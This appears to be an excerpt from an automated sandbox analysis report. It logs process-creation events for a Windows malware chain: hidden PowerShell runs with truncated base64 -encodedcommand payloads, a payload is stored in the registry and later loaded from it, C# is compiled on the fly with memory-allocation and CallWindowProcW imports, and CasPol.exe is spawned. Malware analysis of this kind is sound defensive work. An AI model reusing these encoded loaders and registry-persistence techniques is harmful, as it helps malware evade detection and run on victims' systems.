QAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1FFF.tmp" "c:\Users\user\AppData\Local\Temp\CSCAB9D447D8E2849BB9EF6D8A3F7C9ADB.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAG
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpA